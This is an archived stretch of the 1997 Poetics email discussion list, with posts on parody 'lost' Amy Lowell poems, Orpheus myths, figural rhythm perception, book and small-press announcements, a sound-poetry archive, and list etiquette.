meditation with the intimate thrall of a bedtime story. As if the sublime were ³merest hunger.² ‹Ann Lauterbach

↑ Index

183. **Aldon L. Nielsen**
Re: midnight oil
Sat 7 Jun 1997

Amy Lowell scholars (all six-and-one-half of them) have long been familiar with this faux Lowell text, originating from the pen of one Spectral poet by the name of Mason Jordan Mason. Mason, who was thought by some to be Anatole Broyard using a pseudonym, "tipped in" copies of this text in library volumes of Ms. Lowell all over the country attempting to blacken her name. Ms. Lowell's well-known feelings about Canada give the game away at once.

↑ Index

184. **John E. Matthias**
Katherine Fredman
Sat 7 Jun 1997

Stephen Fredman, who has many good friends on this list, has asked me to announce the death of his wife, the artist Katherine Fredman. I do so with a heavy heart.

JM

↑ Index

185. **Burt Kimmelman**
mark weiss
Sat 7 Jun 1997

---

mark,

could you contact me backchannel?

burt

Sorry, listers, for this personal intrusion.

↑ Index

186. **charssmith**
Re: Orpheus
Sat 7 Jun 1997

Joe,

Sorry. My note to HG wasn't intended for the List, & was perhaps a bit too shorthand? (dashed off early morning as I was running out of the door)

I've read Dodds' book, but didn't know the others you mention. Thanks for the refs. I wouldn't argue the central Asian origins of the Greek Orpheus. My remark was aimed at the folkloric motif that has come to be labelled the "Orpheus" tale, which, at least in the California/Great Basin versions I'm familiar with, has nothing to do w/ the Greek figure. Typically, it involves a descent to the under(after)world to bring back a beloved which the protagonist screws up by not following certain admonishments. The figure in Native Amreican tales is neither poet, priest, nor shaman. What I wanted to suggest was that the origins of the mythic plot are shrouded in an unrecoverable past, & all we have are survivals found in siberian, native american & polynesian cultures. What the Greeks do w/ such material is a further elaboration woven into their mythology & religion.

~~~~~~~~~~~~~~~~~~~~

Maria -- No, I wasn't thinking of Jane Harrison. Actually, my memory was off. The article I was thinking of, "The Orpheus Myth in North America" was written by A. H. Gayton (no idea what gender) & published in the Journal of American Folklore in 1935.

all best,

Charles

↑ Index

187. Maria Damon
Re: Katherine Fredman
Sun 8 Jun 1997

At 4:15 PM -0400 6/7/97, John E. Matthias wrote:
>Stephen Fredman, who has many good friends on this list, has asked me to
>announce the death of his wife, the artist Katherine Fredman. I do so with
>a heavy heart.
>
>JM

↑ Index
~~~~~~~~~~~~~~~~~~~~

188. **Michael Heller**
New book
Sun 8 Jun 1997

WORDFLOW: NEW AND SELECTED POEMS, by Michael Heller, is available from Talisman House and in the bookstores.

↑ Index

189. **Daniel Tessitore**
Re: Schizophrenic poetry?
Sun 8 Jun 1997

This may sound like a stupid question, but could you elaborate a bit on what (???) says about "reading figuratively?"

DT

From: Thomas Bell[SMTP:[redacted]]
Sent: Monday, June 09, 1997 1:10 PM
To: [redacted]
Subject: Schizophrenic poetry?

Hate to revive some old chestnuts and there are probably few people on line right now but I came across the folowinng information whhile looking for infor on schizophrenia and poetry:

"The ability to perceive figurally appears to be erased after one has learned to read standard notation...The person trained in reading standardrhythm notation simply cannot see figural features of the rhythm. Too often, metric notations are considered to be the 'right answer,' and figural ones are considered less developed. This is unfortunate since figural drawings capture something that is extremely important for musical expression, that is, for 'playing' musically' and achieving a kind of musical coherence."

This would seem yto be very relevant to the ongoing formal/experimental controversy as
well as to the problems some have had with academic and mainstream worlds.
If anyone has an interest in more info let me know.
tom bell

↑ Index

190. Alan Julu Sondheim

periodic (rewritten) notice - explanation of texts, etc. (fwd)

Sun 8 Jun 1997

(This is sent to the lists I co-moderate somewhat monthly - it might help explain what I'm doing here as well - I won't send it again. Alan +++

Internet Philosophy and Psychology - 6/8/97

This is a somewhat periodic notice describing my Internet Text, available on the Net, and sent in the form of texts to various lists. The URL is: http://jefferson.village.virginia.edu/~spoons/internet_txt.html and the mirror URL is http://www.anu.edu.au/english/internet_txt/ - the mirror has some additional materials.

The changing nature of the email lists, Cybermind and Fiction-of-Phil- osophy, to which the tests are sent individually, hides the full textual body itself, since new readers will not be aware of the continuity. For them the text appears fragmentary, created piecemeal, splintered from a non-existent whole. On my end, the whole is evident, the texts extended into the lists, part or transitional objects.

So this (periodic) notice is an attempt to recuperate the work as a total- ity, retard its diaphanous existence. Below is an updated introduction.

The "Internet Text" currently constitutes around eighty files, or 2300 printed pages. It was started in 1994, and continues as an extended meditation on cyberspace. It began with a somewhat straightforward theoretical outline, and has expanded into "wild theory," utilizing numerous "ghosts" (alive, quasi-alive, dead) - most recently, "jennifer," and "julu," the locus of investigations into virtuality, performativity, ontology, and gender.

Almost all of the text is in the form of "short-waves, long-waves." The former are the individually-titled sections, written in a variety of styles at times referencing other writers/theorists. The sections are heavily interrelated; on occasion "characters" appear, _actants_ possess- ing philosophical or psychological import. They also create and problema- tize narrative substructures within the work as a whole. (Such are Clara Hielo Internet, Tiffany, Alan, Travis, Honey, Jennifer, and others. Jen- nifer-Julu, in particular, has been the subject/object of recent work, a blurring of epistemological/ontological distinction. Jennifer-Julu is me, not an alter-ego. Jennifer split into Julu; Julu is julu-of-the-scripts, and both reside as avatars in my linux machine.)

The long-waves are fuzzy topoi on such issues as death, love, virtual em- bodiment, the "granularity of the real," and physical reality, which criss-cross the texts. The resulting fragmentations and coagulations owe something to phenomenology, deconstruction, linguistics, prehistory, the philosophies of science

and programming, etc., but more to the functions of sites or nodes on the Net itself.

I have used MUDS, MOOS, talkers, Perl, html, Javascript, Qbasic, and Cu-SeeMe, all tending towards a performativity of thought, texts which _act_ and engage the subject beyond the traditional phenomenologies of reading. Currently, I am working through issues of performance/scripting, Net arch- aeology, subjectivity, ontology/epistemology; the "work" or "working" can take numerous forms.

There is no binarism in the Internet Text, no series of protocol state- ments. Virtuality itself is considered far beyond the ASCII text/Webscape that is most prevalent now, at the end of the twentieth century. The vari- ous issues of embodiment that will arrive with full-real or true-real VR are already in existence as embryonic, permitting the theorizing of pre- sent and speculative future sites, "spaces," nodes, and modalities of body/speech/community.

Please check the INDEX to find your way into the body of the work on-line. It is helpful to read the first file, Net1.txt, in the beginning, and/or to look at the latest files (js, jt, etc.) as well. The INDEX lists the files in which a particular topic is described; you can do a search on the file, or simply scroll down (the files range in length from 30 to 50 pages in print).

In addition, there are a few graphics, javascript pages (at the mirror site), and a resume. Further graphics can be found at:
http://www.cs.unca.edu/~davidson/pix/

Thank you.

Usage: The texts may be distributed in any medium - indeed, I urge you to do so - provided I am credited with authorship. I would appreciate in re- turn any comments you may have.

Alan Sondheim, 432 Dean St., Brooklyn, NY, 11217 [redacted]

mail to: [redacted]

↑ Index

191. **henry g**
Re: from the lost ms. of Miss Lowell
Sun 8 Jun 1997

On Sat, 7 Jun 1997 08:11:16 -0700 Rachel Loden said:
>Can barely contain my excitement--found this slipped neatly into a book
>of bean recipes in the Boston Public Library:
>

>
>The Garden by Moonlight
>
>A moose among roses,
>Phlox, lilac-misted under a first-quarter moon,
>Someone is chained in the sweet alyssum.
>The Yukon must be very still,
>I think I hear the "Song of the Mounties,"
>Men in red tunics are missing Saskatchewan.
>Ah, Bromridge, do you hear the distant wolverines?
>They knew George Bowering,
>But who will tie his shoes
>When I am gone.
>
>
>Amy L.

How to describe my excitement when I found a translation into pure Russian of the above in a book titled _The Progress of Electrification in the People's Republic of Sirchatnika_ by Sergei Zhap. Here's a rough transl- literation:

Zla zhirna biryennetskaia
mirguiuglasnitsoktova
i platemy platemoo skartsiiatna.

Those peoples know how to condense a line. Did anybody read the hacknotes (I mean backnotes) in todays NY Times review of Books about writing & flyfishing? "A keeper". - Gyenri Gould

↑ Index

192. Steven Marks
Blake exhibit
Sun 8 Jun 1997

I would highly recommend for anybody in the New Haven area to see the Blake exhibit at the British Art Museum at Yale. It contains two copies of _Songs of Innocence and Experience_, copies of each of _The Book of Thel_, _The Book of Urizen_, _America, A Prophecy_, illustrations of Gray's poems, assorted other prints and paintings. And, the piece de resistance, the Mellon copy of _Jerusalem_, the only copy in color. I'm still digesting the experience. It's been said many times before, but I found it so true today: reproductions do not do justice to the colors and intricacy of Blake's artwork.

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

193. Thomas Bell
Schizophrenic poetry?
Mon 9 Jun 1997

Hate to revive some old chestnuts and there are probably few people on line right now but I came across the folowinng information whhile looking for infor on schizophrenia and poetry:

"The ability to perceive figurally appears to be erased after one has learned to read standard notation...The person trained in reading standardrhythm notation simply cannot see figural features of the rhythm. Too often, metric notations are considered to be the 'right answer,' and figural ones are considered less developed. This is unfortunate since figural drawings capture something that is extremely important for musical expression, that is, for 'playing' musically' and achieving a kind of musical coherence."

This would seem yto be very relevant to the ongoing formal/experimental controversy as
well as to the problems some have had with academic and mainstream worlds.
If anyone has an interest in more info let me know.
tom bell

↑ Index

194. Rob Hardin
*One small, shameless derby tossed into the air: *I Won!**
Mon 9 Jun 1997

To all:

Though I've been in Berlin and Chicago for weeks, I just arrived home. And if you'll permit me one moment of self-indulgent whooping, let me say this: My collection, Distorture, just won the 1997 Firecracker Award for best fiction, beating Trainspotting in the process.

MAR-WHAA! FR-FRIFL! PIFFEL-DROT!

Sorry to drag you off-topic this once. I just had to shout it.

All the best,

Rob Hardin

---

http://www.users.interport.net/~scrypt/
http://www.horrornet.com/hardin.htm

↑ Index

195. Holly Crawford
Re: Schizophrenic poetry?
Mon 9 Jun 1997

That makes two of us?

> *This may sound like a stupid question, but could you elaborate a bit on what (???) says about "reading figuratively?"*
>
> *DT*
>
> *----------*
> *From: Thomas Bell[SMTP:[redacted]]*
> *Sent: Monday, June 09, 1997 1:10 PM*
> *To: [redacted]*
> *Subject: Schizophrenic poetry?*
>
> *Hate to revive some old chestnuts and there are probably few people on line right now but I came across the folowinng information whhile looking for infor on schizophrenia and poetry:*
>
> *"The ability to perceive figurally appears to be erased after one has learned to read standard notation...The person trained in reading standardrhythm notation simply cannot see figural features of the rhythm. Too often, metric notations are considered to be the 'right answer,' and figural ones are considered less developed. This is unfortunate since figural drawings capture something that is extremely important for musical expression, that is, for 'playing' musically' and achieving a kind of musical coherence."*
>
> *This would seem yto be very relevant to the ongoing formal/experimental controversy as*
> *well as to the problems some have had with academic and mainstream worlds.*
> *If anyone has an interest in more info let me know.*
> *tom bell*

Offerings Project
Send me an offer.
URL:http://www-leland.stanford.edu/~geo/holly_crawford.html

↑ Index

196. **Ryan Whyte**

wars here very

Mon 9 Jun 1997

Lost to the ELECTRIC WINDMILLS
Grease and churning byron
Quotidian Plutarch sayeth:
Corio-lanus
rich soil without culture
apt the took
side nate those associating nature
and his life the haughty muses
ising esteemed which manly courage
used Mar they to of most extremes submit

Old Corioli Kansas
habituate in the pnu
le gaz-a
vapeur spect la vraie
Liszt taught her unsuccessfully
here, consoled object-loss
longside atonal genital-fugal libido
festations of Eros
in his rebellion

tractors, televisions?!
what tracts lay these
farmer's phenomenology
-Heidegger? rift
Kansas is not the guardian of the city
lay ragged Jupiter
Alberta fester
furnishing fowl and other creatures
as dainties in producing
mistletoe for bird-lime
to ensnare them

I say listen listen here
ambitious always to outdo themselves,
those listed in this furrow
rotting: Mother=Voluminous
I say listen here to
these wars

I abandon them
my way is FALLOW beneath

↑ Index

197. George Bowering
Re: midnight oil
Mon 9 Jun 1997

> *Amy Lowell scholars (all six-and-one-half of them) have long been familiar with this faux Lowell text, originating from the pen of one Spectral poet by the name of Mason Jordan Mason. Mason, who was thought by some to be Anatole Broyard using a pseudonym, "tipped in" copies of this text in library volumes of Ms. Lowell all over the country attempting to blacken her name. Ms. Lowell's well-known feelings about Canada give the game away at once.*

She liked some things about Canada, and other things she could do without. She liked the cheese in southwestern Ontario (though I pronounced it bland compared to a good Manchegan), and she liked David Bromwich's hands. They are sensitive as the flippers of a harbor seal, she told me one night while we were creating a bogus William Meredith poem. What of my hands, the hands that Rachel Loden celebrated in one of her most-anthologized threnodies, I asked. They are blocks of bone and meat, she said. She claimed that I didnt belong in the same room as the word "sensitive." Alas.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

198. George Bowering
*Re: One small, shameless derby tossed into the air: *I Won!**
Mon 9 Jun 1997

> *To all:*
>
> *Though I've been in Berlin and Chicago for weeks, I just arrived home. And if you'll permit me one moment of self-indulgent whooping, let me say this: My collection, Distorture, just won the 1997 Firecracker Award for best fiction, beating Trainspotting in the process.*

> *Rob Hardin*

That's good news, and that's tough competition. Could you tell me (us?) what the Firecracker Award is?

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

199. MARK LEAHY
women and texts at Leeds
Mon 9 Jun 1997

---

the web site for the Women and Texts conference at Leeds is:

http://www/ucalgary.ca/~crow/text

Mark Leahy
Mark Leahy
[redacted]
School of English
University of Leeds
West Yorkshire
LS2 9JT
United Kingdom

↑ Index

200. Susan Wheeler
Re: POETICS Digest - 7 Jun 1997 to 8 Jun 1997
Mon 9 Jun 1997

Congrats, Michael!

Also, a fine read is indeed to be had in Henry Gould's Island Road at Mudlark, http://www.unf.edu/mudlark.

Susan
>
>Date: Sun, 8 Jun 1997 11:26:32 -0400
>From: Michael Heller <[redacted]>

>Subject: New book
>
>WORDFLOW: NEW AND SELECTED POEMS, by Michael Heller, is available from
>Talisman House and in the bookstores.
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

201. Maria Damon

*Re: One small, shameless derby tossed into the air: *I Won!**

Mon 9 Jun 1997

At 1:07 AM -0400 6/9/97, Rob Hardin wrote:
>To all:
>
>Though I've been in Berlin and Chicago for weeks, I just arrived home.
>And if you'll permit me one moment of self-indulgent whooping, let
>me say this: My collection, Distorture, just won the 1997 Firecracker
>Award for best fiction, beating Trainspotting in the process.
>
>MAR-WHAA! FR-FRIFL! PIFFEL-DROT!
>
>Sorry to drag you off-topic this once. I just had to shout
>it.
>
>All the best,
>
>Rob Hardin

rob, that's absolutely terrific! please, brag more. it's nice to see your occasional posts!--maria d
>
>_____
>
>http://www.users.interport.net/~scrypt/
>http://www.horrornet.com/hardin.htm

↑ Index

202. **David Israel**
Re: One small, shameless derby tossed into the air: *I
Mon 9 Jun 1997

Won!*

Rob Hardin:

<< . . . My collection, Distorture, just won the 1997 Firecracker Award for best fiction, beating Trainspotting in the process. >>

congrats. 2 Qs:

1. what's the Firecracker Award?
2. who, in US, has published Distorture?

↑ Index

203. **Karen and Trevor**
Re: women and texts at Leeds
Mon 9 Jun 1997

MARK LEAHY wrote:
>
> the web site for the Women and Texts conference at Leeds is:
>
> http://www/ucalgary.ca/~crow/text
>
Is this address correct? My server can't locate it - something about not having a DNS entry...

K. McKevitt

↑ Index

204. **Alan Julu Sondheim**
autumnal of empire
Mon 9 Jun 1997

---

http://www.anu.edu.au/english/internet_txt/run.htm

Alan

↑ Index

205. **Steven Clay**

Homage to Allen Ginsberg

Mon 9 Jun 1997

<fontfamily><param>FFScala</param>Granary Books is pleased to announce the publication of

<italic>

</italic>_Homage to Allen G_

a portfolio of collaborations in memoriam Allen Ginsberg

by Anne Waldman & George Schneeman

This project is based on a series of traced sketches of Allen Ginsberg's photographs. George Schneeman made the sketches with a mind to using them in a collaborative project he and Allen had planned. The plan was not realized, and after Allen's death, George and Anne Waldman converted the tracings into this homage.

Each portfolio contains 11 sheets (11" w x 13" h):

10 collaborative works plus the colophon.

The edition was printed letterpress from magnesium engravings in black ink on white paper & consists of 145 signed copies: 100 on Rives BFK in a cloth-covered folder (30 hors commerce, 70 for sale) and 45 on Dieu Donné handmade paper in a cloth-covered drop-back box (15 hors commerce, 30 for sale). Printed by Philip Gallo at the Hermetic Press

for Granary Books in the Spring of 1997.

Homage to Allen G<italic>

</italic>1/45 on Dieu Donné paper $450

1/100 on Rives BFK paper $250

plus applicable taxes and shipping

(shipping is $10 domestic)

Granary Books

568 Broadway #403, New York City 10012 U.S.A.

email: [redacted] / tel: [redacted]

</fontfamily>

↑ Index

206. L. MacMahon and T.R. Healy
Wild Honey Press
Mon 9 Jun 1997

This is to announce that I've started up a small press, Wild Honey Press, in fact.
The aims are:

-- to make decent looking chapbooks quickly so that a poet, so far me, can have copies of up to date work in presentable form to give to people.

-- to allow for the possibility of an evolving text. The booklets are done in groups of twenty or so and feedback from readers or whatever can be built into the next version in the edition.

-- to allow the poem or group of poems to have an appropriate setting. Due to the many constraints they have to work under, legit. publishers can sometimes operate on the Procrustes principle.

-- to short circuit angst with booksellers by exploring other means of distributing.

So far there are two chapbooks:

Rana Rana! twelve poems (30 pp) and _Arbor Vitae_ a medium to long (depending on your stamina) poem (20pp) both books by myself, Randolph Healy.

The price of each is £3.50 or $5.00 (dollars in cash please.) If you'd like a copy but are short of funds all this talk of money is just for show really. Keeping up tradition. A straight swap for some of your work - in any form - is more than acceptable. Don't forget to let me have your snail-mail address.

I will be publishing other writers soon.

Keep an eye open.

Best wishes,

Randolph.

↑ Index

207. Kenneth Goldsmith
Real Audio Sound Poetry Archive Opens
Mon 9 Jun 1997

UBUWEB CONCRETE, VISUAL, AND SOUND POETRY
http://www.ubuweb.com/vp

UbuWeb in cooperation with Hangdog Multimedia is pleased to announce the opening of the Internet's largest Sound Poetry Archive. All files are in REAL AUDIO format in 14.4 and 28.8 flavors.

UBUWEB/HANGDOG REALAUDIO SOUND POETRY ARCHIVE:

Guillaume Apollinaire
    Le Pont Mirabeau
William S. Burroughs
    Dance Around in Your Bones
John Cage
    Writing for the Second Time Through Finnegans Wake (Pt. 1)
Henri Chopin
    Rouge
    Hoppa Bock
    9 Saintes-Phonies
    Vibrespace
Jean Cocteau
    La Toison D'Or
    Les Voleurs d'Enfants
Andrew Dickinson
    hep C creeping
Kelli Dipple
    List
    Birds in Cages
Marcel Duchamp
    La Mariee mise a nu par ses Celibataires, meme...
Brion Gysin
    Recalling All Active Agents
    Duet
    Pistol
    No Poets Don't Own Words
    Sound Poem
Wyndham Lewis
    End of Enemy Interlude
Jackson Mac Low
    Thanks
    38th and 39th Merzgedichte in Memoriam Kurt Schwitters
    Phoneme Dance in Memoriam John Cage
Charles Manson
    The Sneaky Truth
F.T. Marinetti
    La Battaglia di Adrianopoli

Definizione di Futurismo
Sintesti Musicali Futuristiche
David Moss
Ghosts
Round Midnight
The Girl From Impanema
That Tempest
John Reeves
Footnote Manifesto
Random Conversation
Legs of Brisbane
Socially Positive
Talk 2 Me
2 Much
John Reeves & John Bone
Crash & Bone
Kurt Schwitters
Ursonate
Cecil Taylor
Chinampas #7
Gregory Whitehead
If A Voice Like, Then What?
The Problem with Bodies
Eva, Can I Stab Bats In A Cave?
Zigurrat

Also in the UbuWeb Visual, Concrete, and Sound Poetry Archive:

PAPERS ARCHIVE:

Roland Greene
"The Concrete Historical"
Peter Jaeger
"Steve McCaffery's Visual Errata"
Roland Greene & Harvard Students:
"Material Poetry of the Renaissance/The Renaissance of Material Poetry: A Selective Bibliography"
Laurel Beckman
"Something for Nothing: The New Multiple in Contemporary Art"
Clemente Padin
"Methodological Difficulties inthe Examination of the Experimental Poetry"
Roland Greene
"From Dante to the Post-Concrete: An Interview With Augusto de Campos"

Ward Tietz
"Concrete Poetry Bibliography"
Debra Bricker Balken
"On Philip Guston's Picture-Poems"
Charles A. Perrone
"The Imperative of Invention: Brazilian Concrete Poetry and Intersemiotic Creation"

HISTORICAL ARCHIVE:

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Carlo Belloli
Max Bense
Wallace Berman
Jean Francois Bory
Claus Bremer
Jose A. Caceres
John Cage
Julio Campal
Henri Chopin
Augusto de Campos
Haroldo de Campos
Paul de Vree
Early Visual Poetry 1506-1726
Ian Hamilton Finlay
Carl Fernbach Flarsheim
John Furnival
Heinz Gappmayr
Mathais Goeritz
Eugen Gomringer
Corrado Govoni
Philip Guston's Poem-Pictures
Vaclav Havel
Dom Sylvester Houedard
Ronald Johnson
Jiri Kolar
Ferdinard Kriwet
Duda Machado
Armando Mazza
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Susan Bee
Laurel Beckman
Felix Bernstein
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Jake Berry
John Cayley
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Loss Pequeno Glazier
Kenneth Goldsmith
Kenneth Goldsmith & Joan La Barbara
Dick Higgins
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Alison Knowles
Bill Luoma
Juliet Ann Martin
Poem by Nari
Janan Platt
John Reeves
Dirk Rowntree
Blair Seagram
Spencer Selby
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Alan Sondheim
Ward Tietz
Nico Vassilakis

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Janet Zweig

PLUS: Dozens of examples of FOUND & INSANE visual poetry!!!!

Pass it along!!!!

UBUWEB CONCRETE, VISUAL, AND SOUND POETRY
http://www.ubuweb.com/vp

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208. **Sylvester Pollet**
Re: midnight oil
Mon 9 Jun 1997

I've noticed that it's sometimes difficult to discern irony on list postings. It was Aldon who first posted this quoted piece, if I remember right, and I was troubled by it then. Is/was Mason Jordan Mason a nom de plume of Anatole Broyard, or are you guys just blowing smokerings from Amy Lowell's cigars, or what? Sorry to be so reductionist-minded, but I'd really like to know the answer to this--I remember the name, and may even have a Mason book someplace. Think I do. Sylvester

> *Amy Lowell scholars (all six-and-one-half of them) have long been familiar with this faux Lowell text, originating from the pen of one Spectral poet by the name of Mason Jordan Mason. Mason, who was thought by some to be Anatole Broyard using a pseudonym, "tipped in" copies of this text in library volumes of Ms. Lowell all over the country attempting to blacken her name. Ms. Lowell's well-known feelings about Canada give the game away at once.*
>
> *She liked some things about Canada, and other things she could do without. She liked the cheese in southwestern Ontario (though I pronounced it bland compared to a good Manchegan), and she liked David Bromwich's hands. They are sensitive as the flippers of a harbor seal, she told me one night while we were creating a bogus William Meredith poem. What of my hands, the hands that Rachel Loden celebrated in one of her most-anthologized threnodies, I asked. They are blocks of bone and meat, she said. She claimed that I didnt belong in the same room as the word "sensitive." Alas.*

> *George Bowering.*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

↑ Index

209. Eliza McGrand- CVA Guest
Re: midnight oil
Mon 9 Jun 1997

ships whisper in grass
a pattern of canada oh canada
bowers bowering in the bowers
a bower of bowers bowering bowering
bromige
bromige
whisper in the grass
patterns patterns
of bowering bromige
alas

-- poem by gertrude stein found in a volume of amy lowell from stein's library.

was just riffling quickly through some of the volumes from stein's library when, it was amazing, look what fell out of her collected amy lowell! amazing! it would appear that bowering and bromige, in addition to their, uh, ... machinery.... have found a time/space continuum travelling device... could it be concealed in The D----? was the container, i.e. the so-called D----, really something else, a pre-fix affixed to a word obscuring it's real nature, as it were? should we reconsider, for example, the phallus of lacan in the nature of such an extraordinary possibility -- phallus as container for time/space continuum travelling device? would this give new meaning to the amount of time spent in, using, discussing time space continuum on such programs as star trek? is that why janeway keeps smiling? e

↑ Index

210. David Israel
Re: midnight oil
Mon 9 Jun 1997

amazing!

am told this was found tucked away in Freud's copy of the Posthumous Poesy of Heine (& evidently -- if one can credit the graphite note & its alleged provenance -- the translation was worked out by a grad student [known simply as "R"] under Masson's charge, during the latter's tenure at the Freud Archive):

| the bowers of May cast greengray shade
| we ambled down paths of rose-most grace
| but sometimes-Madam (sometimes-Maid)
| timespace were simply that (timespace)
|
| [signed] Your devoted friend &c.
| Siggie
|
| {orig. rhyme & meter retained, R.}

d.i.

>>> Eliza McGrand- CVA Guest <[redacted]> 06/09/97
07:20pm >>>

<snip>

was just riffling quickly through some of the volumes from stein's library when, it was amazing, look what fell out of her collected amy lowell!. . .

↑ Index

211. Thomas Bell
Re: Schizophrenic poetry?
Mon 9 Jun 1997

The quote is from EllenWinner, _Invented worlds, the psychology of the arts, Harvard, 1984. She is discussing drawings made by children of how they perceive beats (i.e., "1,2, buckle my shoe" can be 'metric" with five even circles or 'figuative' with two big and three small circles). "While figural drawings focused on the function of claps within a figure, metric drawings captured either thge relative or the exact duration of the different kinds of claps...metric drawings, like standard notation, leave the problem of interpretation, or finding the figures, to the performer. Musicians call this 'phrasing.'"

Sorry, there is a lot of room for ambiguity here I can see - different disciplines, different senses than typically used.

tom

At 06:13 AM 6/8/97 +-900, you wrote:
>This may sound like a stupid question, but could you elaborate a bit on what (???) says about "reading figuratively?"

>
>DT
>
>----------
>From: Thomas Bell[SMTP:[redacted]]
>Sent: Monday, June 09, 1997 1:10 PM
>To: [redacted]
>Subject: Schizophrenic poetry?
>
>Hate to revive some old chestnuts and there are probably few people on line
>right now but I came across the folowinng information whhile looking for
>infor on schizophrenia and poetry:
>
>"The ability to perceive figurally appears to be erased after one has
>learned to read standard notation...The person trained in reading
>standardrhythm notation simply cannot see figural features of the rhythm.
>Too often, metric notations are considered to be the 'right answer,' and
>figural ones are considered less developed. This is unfortunate since
>figural drawings capture something that is extremely important for musical
>expression, that is, for 'playing' musically' and achieving a kind of
>musical coherence."
>
>This would seem yto be very relevant to the ongoing formal/experimental
>controversy as
>well as to the problems some have had with academic and mainstream worlds.
>If anyone has an interest in more info let me know.
>tom bell
>
>

↑ Index

212. L. MacMahon and T.R. Healy

W.H.Press address

Tue 10 Jun 1997

Thanks to those who backchannelled re address. Once again I have sidestepped possible charges of professionalism. Wild Honey Press is shacked up with me at

16a Ballyman Road, Bray, Co. Wicklow, Ireland.

Best wishes

Randolph Healy

↑ Index

213. Lawrence Upton
Second SVP colloquium - update
Tue 10 Jun 1997

Apologies for cross posting

This is a follow up to the April sub voicive colloquium bulletin sent to the list

We have a date. The Second Sub Voicive Colloquium will be on Saturday 18th October 1997 at CES, Senate House in London. There will probably be a poetry reading linked to the colloquium the night before but that has yet to be confirmed

This is a second call for proposals. If you have made one and it has been acknowledged that's fine. We're a bit busy and were waiting to see if it was really going ahead before doing the heavy work.

If you haven't proposed to us!!, why not!!!!!

As well as the email, details were included in Sub Voicive Poetry 1997 number 9 and will be reprinted in number 14 due next week - BUT I will email or fax you a copy of the bulletin if you need it

More when there's more!!!!

Lawrence Upton

↑ Index

214. Henry Gould
neo-objectivism?
Tue 10 Jun 1997

I would like to hear more from or about the "neo-objectivists" who were mentioned or mentioned themselves a few weeks back. Seems like an interesting group theory development. Maybe they're saving their fire for an essay somewhere...

Re-pondering about the Providence School [I know some people will think this is silly - I don't care] I still think the "realism" aspect is valuable [i.e. reality exists outside our verbal formulations about it]. But some of the cosmic oneness corollaries seem like added baggage. In the poetry world as in science the interest is in the demonstration.

Realism would have to recognize the necessities involved in addressing particular audiences. This is one more aspect of poetry conceived as a "mixed" thing, a double thing, full of interferences with itself. Language poetry may be another

example, like Symbolism, of one of these cultural storms that necessarily blow in and then fail by their success. Like Symbolism, an example of how a strong theory succeeds in blocking out the contingency of the world (and eventually, in consequence, poetry itself). Valery is quoted somewhere as saying that their was no poetics of Symbolism - the symbolists were joined only by a vow to renounce the approval of the masses. This seems very germane to language poetry. The history of the "school" of the "objectivists" could be understood maybe in an analogous way. The theory becomes a cover for addressing a particular audience. Objectivists & language poets are like the iconoclasts of ancient Byzantium. Astringent, washing out the mythologized comforts of accomodation. But you wonder if they've missed some larger synthesis... party-poopers at the cosmic hoedown... the little theory label a badge of strong-weak good-bad faith distinction (within the scary soup of "poetry")...but then, labels are only labels. I remember I pointed to Carl Rakosi as an avatar of the Providence "school". Perhaps the "larger synthesis" is exactly what the language poets renounced for the sake of a smaller synthesis, a microcosmic atomic lucretian forward-looking verbal agglutination in which vocabulary redeems itself without the aid of government... [only the gravedigger knows for sure]

Poetry exists somewhere between the satisfactions of theory, the approval of academicians and critics, the entertainment of the coterie-converted, and the anti-realism of the automatic-aesthetic (surrealism). It's the spark between a truth and a tooth...

- Henry Gould

↑ Index

215. Peter Nicholls

Re: reference

Tue 10 Jun 1997

Dear Charles: how are you? Sorry to have been out of touch for so long but heavy admin here seems to have consumed almost all my waking hours. Anyway, I have a favour to ask. Marjorie suggested that I apply for the Modernism Chair at Yale and I've put in a cv just to see what might happen. I'm not sure I'd want it even in the very unlikely event of being offered it. But it's sometimes useful to test the water. Anyway, I took the liberty of using you as a referee. Should they take up references you could use the one you wrote me before. I hope that's OK - there was very little time to contact you before the cv had to be mailed. I hope you're well and that we can meet up again before too long. Maybe Peter and I could dream up some sort of mini-conference for next academic year. Bob P. is going to be over here and I think Lyn and Rachel Du-P are

coming at some point. We must put our heads together on that. Meantime, thanks in advance for the reference, and all best wishes. Peter.

↑ Index

216. Brigham Taylor
Last minute Manhattan summer sublet
Tue 10 Jun 1997

I'm passing this along.

There's a large, sunny 2 bedroom sublet available on the Lower East Side, convenient to subways, all of Lower Manhattan available for July and August. $1250/mo + utilities. Call Eleni Sikelianos or Laird Hunt at 212/[redacted]

↑ Index

217. henry
Re: reference
Tue 10 Jun 1997

I thought language poets didn't believe in reference???

Is this a new development??

neo-Chair-repairism?

- Spandrift

↑ Index

218. Jay Schwartz
Inappropriate postings
Tue 10 Jun 1997

My volume of e-mail is, I'm sure, as high as everyone else on this list. I enjoy much of the public discussion. But I'm almost ready to unsubscribe based on the number of messages which belong in the realm of backchanneling. I'm just not interested in light bondage humor involving people I've never met. I'm also impatient with the great frequency of private messages which inadvertantly are sent to the entire list. Please show more discretion with the send button.

Jay Schwartz, at his absolute snooty and snottiest.

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219. Rachel Loden
alack the day
Tue 10 Jun 1997

George Bowering wrote:

> *She liked some things about Canada, and other things she could do without. She liked the cheese in southwestern Ontario (though I pronounced it bland compared to a good Manchegan), and she liked David Bromwich's hands. They are sensitive as the flippers of a harbor seal, she told me one night while we were creating a bogus William Meredith poem. What of my hands, the hands that Rachel Loden celebrated in one of her most-anthologized threnodies, I asked. They are blocks of bone and meat, she said. She claimed that I didnt belong in the same room as the word "sensitive." Alas.*

I've been turning my threnodies upside down all morning but the one George mentions seems to have vanished without trace. Was it in _Best-Forgotten American Threnodies_? Or _The Amy Lowell Awards in Innocuous American Poetry_? Damned if I know. I did find a meditation on George's feet, but this seems a bit too piquant for present company.

Has Bromwidge's computer blown up again?

Rachel L.

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220. David Bromige
Jay Schwartz's complaint
Tue 10 Jun 1997

Responding to Jay "Sirious" Schwartz "at his snootiest and snottiest" : sorry, Jay, you'll have to do better than that.

